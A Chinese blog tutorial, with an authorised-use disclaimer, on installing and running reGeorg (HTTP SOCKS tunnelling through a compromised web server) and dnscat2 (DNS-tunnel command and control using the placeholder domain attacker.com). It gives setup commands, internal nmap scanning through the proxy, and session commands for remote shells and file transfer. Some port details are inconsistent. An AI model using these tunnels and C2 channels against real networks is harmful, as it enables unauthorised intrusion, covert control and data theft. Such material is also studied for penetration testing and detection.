当前位置: 首页 > news >正文

reGeorg、dnscat2--安装、使用

用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。

这两个工具主要用于应用层隧道技术所利用的工具,接下来我们就详细介绍一下这两个工具

一、reGeorg

1、介绍

reGeorg 是一款经典的HTTP 隧道工具,主要用于渗透测试中绕过网络边界限制(如防火墙、IDS),建立攻击者与目标内网之间的通信通道。它通过将 TCP 流量封装到 HTTP/HTTPS 请求中,利用目标网络中已被控制的 Web 服务器作为 “中间代理”,实现对目标内网资源的访问。

2、原理

reGeorg 的核心是 “HTTP 隧道转发”,通过 Web 服务器将攻击者的本地流量与目标内网流量进行双向转发,具体流程如下:

  1. 部署代理脚本:攻击者将 reGeorg 的代理脚本(如tunnel.php)上传到目标网络中已控制的 Web 服务器(该服务器需能访问内网资源)。
  2. 建立隧道连接:攻击者本地运行 reGeorg 客户端,通过 HTTP/HTTPS 请求连接 Web 服务器上的代理脚本,建立 “客户端 - Web 服务器” 的隧道。
  3. 流量封装与转发
    • 攻击者的本地流量(如访问内网 IP 的请求)被客户端封装为 HTTP 请求(GET/POST),发送到 Web 服务器的代理脚本;
    • 代理脚本解析 HTTP 请求中的数据,还原为原始 TCP 流量,转发到目标内网的指定服务(如内网数据库、SSH 端口等);
    • 内网服务的响应被代理脚本封装为 HTTP 响应,返回给攻击者的客户端,客户端再还原为原始流量,完成一次双向通信。

简言之,reGeorg 通过 Web 服务器作为 “中介”,将原本直接的 TCP 通信转化为 “HTTP 请求 - 响应” 的形式,从而绕过基于端口 / 协议的边界防御。

3、安装

下载地址:GitHub - sensepost/reGeorg: The successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.

reGeorg 基于 Python 开发,需提前安装 Python 环境(Python 2 或 3 均可,推荐 Python 2),具体步骤如下:

  1. 克隆仓库:从 GitHub 获取 reGeorg 源码(官方仓库或镜像仓库):

    git clone https://github.com/sensepost/reGeorg.git
    cd reGeorg
    

     

  2. 验证安装:运行客户端脚本查看帮助信息,确认安装成功:

python2 reGeorgSocksProxy.py -h

4、使用

reGeorg 的使用需分 “服务器端部署” 和 “客户端连接” 两步,具体如下:

1. 服务器端:上传代理脚本

根据目标 Web 服务器支持的脚本类型(如 PHP、ASPX、JSP),选择 reGeorg 目录下对应的脚本(如tunnel.phptunnel.aspxtunnel.jsp),上传到目标 Web 服务器的网站根目录(或可访问的路径)。

  • 示例:若目标是 Apache 服务器(支持 PHP),上传tunnel.php/var/www/html/目录,访问路径为http://目标IP/tunnel.php
  • 验证脚本可用性:通过浏览器或 curl 访问脚本 URL,若返回类似Georg says, 'All seems fine'的响应,说明脚本部署成功且可正常访问。

2. 客户端:建立隧道并使用

本地运行 reGeorg 客户端,连接目标 Web 服务器上的代理脚本,建立 SOCKS 代理隧道,具体命令格式:

python reGeorgSocksProxy.py -u <代理脚本URL> -p <本地监听端口>参数说明:
-u:目标 Web 服务器上代理脚本的 URL(如http://192.168.1.100/tunnel.php);
-p:本地监听的 SOCKS 代理端口(如 1080,可自定义);
其他可选参数:-t指定隧道类型(默认 http,支持 https)、-r设置重试次数等。

运行成功后,客户端会在本地127.0.0.1:9999开启 SOCKS5 代理。

3. 利用隧道访问内网资源

通过本地代理工具(如浏览器、Burp Suite、Nmap)配置 SOCKS5 代理(地址127.0.0.1,端口1080),即可通过隧道访问目标内网资源:

  • 浏览器访问内网 Web 服务:如http://10.0.0.10:8080(目标内网 IP 和端口);
  • Nmap 扫描内网:nmap -sT -Pn --proxy socks5://127.0.0.1:1080 10.0.0.0/24
  • Burp Suite 配置代理:在 “User options -> Connections -> SOCKS Proxy” 中设置127.0.0.1:1080,可拦截内网 Web 请求。

直接在浏览器设置代理进行访问

二、dnscat2

1、介绍

dnscat2 是一款知名的DNS 隧道工具,主要用于在受限网络环境中(如防火墙限制 TCP/UDP 端口)通过 DNS 协议建立隐蔽通信通道,实现命令控制(C2)、数据传输等功能。由于 DNS 是网络必备协议(几乎所有网络都允许 DNS 流量通过),其隐蔽性远高于 HTTP 隧道,因此常被用于渗透测试中的内网穿透或绕过边界防御。

2、原理

dnscat2 的核心是将非 DNS 数据封装到 DNS 协议中传输,利用 DNS 服务器作为 “中介” 实现客户端与控制端的通信,具体流程如下:

1. DNS 隧道基础

DNS 协议的正常功能是 “域名解析”(如将example.com解析为 IP),其通信流程为:
客户端 → 本地DNS服务器 → 权威DNS服务器 → 本地DNS服务器 → 客户端

dnscat2 利用这一流程的 “数据传输能力”,将恶意数据(如命令、文件)拆分后,隐藏在 DNS 查询 / 响应的字段中(如 TXT 记录的文本内容、子域名的随机字符串),实现 “借道” DNS 传输非解析数据。

 

dnscat2隧道的模式有两种,分别是直连模式和中继模式。

  • 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求
  • 中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。与直连模式相比,中继模式的速度较慢

2. dnscat2 的具体交互

dnscat2 分为控制端(服务器) 和被控端(客户端),通信流程如下:

  • 控制端配置:攻击者在公网搭建 dnscat2 服务器,并控制一个域名(如attacker.com),将该域名的权威 DNS 服务器指向 dnscat2 服务器(确保所有对该域名的 DNS 查询都发送到控制端)。
  • 客户端连接:目标主机运行 dnscat2 客户端,向控制端的域名(如attacker.com)发送特殊 DNS 查询(如子域名abc123.attacker.com,其中abc123是加密的数据包)。
  • 数据封装与转发
    • 客户端将待发送的数据(如本地命令执行结果)加密后,拆分为多个小片段,编码为子域名或 TXT 记录内容,发送 DNS 查询到控制端;
    • 控制端接收 DNS 查询,解析出隐藏的数据,处理后(如生成命令)将响应数据封装到 DNS 响应中(如 TXT 记录返回),发送给客户端;
    • 客户端解析 DNS 响应,还原数据并执行命令,完成一次双向通信。

3. 隐蔽性设计

  • 数据拆分:大文件或长命令会被拆分为符合 DNS 协议规范的小片段(如子域名长度限制),避免单个包过大被检测;
  • 随机化:子域名或记录内容常包含随机字符串,伪装成正常 DNS 查询的 “缓存刷新” 或 “多解析请求”;
  • 协议合规:所有流量严格遵循 DNS 协议格式(如 UDP 53 端口),传统防火墙难以区分 “正常解析” 和 “隧道流量”。

3、安装

dnscat2 分为服务器端(dnscat2-server) 和客户端(dnscat2-client),需分别安装。

1. 服务器端安装(Linux )

服务器端基于 Ruby 开发,需先安装 Ruby 环境及依赖:

# 安装Ruby及依赖
sudo apt update && sudo apt install -y ruby ruby-dev git build-essential libpcap-dev# 克隆仓库
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server# 安装Ruby依赖
gem install bundler
bundle install

2. 客户端安装

客户端有预编译的二进制文件(适合快速使用)和源码编译两种方式:

  • 预编译版本(推荐)

  • 下载地址:Index of /dnscat2/对应系统的客户端(如 Windows 的dnscat2-win32.exe,Linux 的dnscat2-linux-x86_64),直接赋予执行权限即可:

  • # Linux客户端示例
    chmod +x dnscat2-linux-x86_64
    

     

  • 源码编译
    客户端基于 C 开发,需安装 gcc 等编译工具:

    cd dnscat2/client
    make  # 生成dnscat2客户端可执行文件

4、使用(直连模式)

dnscat2 的使用需先配置服务器端,再通过客户端连接,最终建立隧道并执行操作。

1. 服务器端配置与启动

服务器端需绑定域名(或 IP),监听 DNS 请求,常用命令格式:

ruby dnscat2.rb --dns host=127.0.0.1,port=533
  • 关键参数:

    • <域名/IP>:控制端的域名(如attacker.com)或 IP(直接监听 IP 时无需域名);
    • -p <端口>:指定 DNS 监听端口(默认 53,需 root 权限);
    • --secret <密钥>:设置加密密钥(客户端需使用相同密钥,增强安全性);
    • -d:启用调试模式(查看详细流量日志)。
  • 启动成功后,服务器会监听 533 端口,等待客户端连接。

2. 客户端连接服务器

客户端需指定服务器域名(或 IP),并与服务器端配置匹配(如密钥),命令格式:

./dnscat2-linux-x64 --dns server=<服务器域名/IP>,port=533 [选项]

 

关键参数:

  • <服务器域名/IP>:dnscat2 服务器的域名(如attacker.com)或 IP;
  • --secret <密钥>:与服务器端相同的加密密钥;
  • -t <记录类型>:指定 DNS 记录类型(如TXTA,默认自动选择);
  • --dnsserver <IP>:强制使用指定 DNS 服务器(通常无需设置,默认使用系统 DNS)。

3. 隧道会话操作

客户端成功连接后,服务器端会显示会话信息(如New session established: 1),此时可通过服务器端交互界面控制客户端:

  • 常用命令:
    • session <ID>:进入指定会话(如session 1进入 ID 为 1 的客户端会话);
    • shell:在客户端开启一个交互式 shell(类似反向 shell);
    • download <远程文件> <本地路径>:从客户端下载文件;
    • upload <本地文件> <远程路径>:向客户端上传文件;
    • help:查看所有可用命令;
    • exit:退出当前会话或服务器。

 

 

 

http://www.dtcms.com/a/336828.html

相关文章:

  • moe并行
  • 【Linux系统】进程间通信:System V IPC——消息队列和信号量
  • 灯哥FOC笔记(3) --FOC开环程序原理
  • 轨迹优化 | 基于边界值问题(BVP)的无约束路径平滑(附ROS C++/Python仿真)
  • 第二章:C语言数据类型和变量
  • PyTorch数据处理工具箱详解|深入理解torchvision与torch.utils.data
  • Gemini CLI 系统配置小结
  • ±2cm精度破壁者:有鹿机器人如何重写清洁行业规则?
  • java自动化更新
  • Git+Jenkins 基本使用
  • Win11安装WSL、Docker Desktop
  • MySQL集群、分布式
  • 如何生成结婚登记档案目录套打文件
  • 上下文切换及线程操作相关内容
  • Zephyr 中 BT_GATT_SERVICE_DEFINE 使用详解
  • 信创产业:从技术突围到生态重构的强国之路
  • 云计算- KubeVirt 实操指南:VM 创建 、存储挂载、快照、VMI全流程 | 容器到虚拟机(镜像转换/资源调度)
  • Python之Django框架开发Web应用,并部署到服务器
  • 【LeetCode题解】LeetCode 74. 搜索二维矩阵
  • Gartner发布2025年AI与网络安全成熟度曲线:用AI增强网络安全计划的27项技术与创新
  • 作业标准化:制造企业的效率基石与品质保障
  • 2025 年世界职业院校技能大赛汽车制造与维修赛道高职组资讯整合
  • 线程生命周期:pthread_detach 和 pthread_join 区别梳理
  • 个人笔记SpringMVC
  • 宁波市第八届网络安全大赛初赛(REVERSE-Writeup)
  • 2025 年世界职业院校技能大赛汽车制造与维修赛道高职组比赛通知
  • 航空装备先进加工工艺与制造技术论坛——2025成都航空装备展
  • Python 作用域 (scope) 与闭包 (closure)
  • 【网络运维】Playbook项目实战:基于 Ansible Playbook 一键部署 LNMP 架构服务器
  • Java中抽象类与接口的区别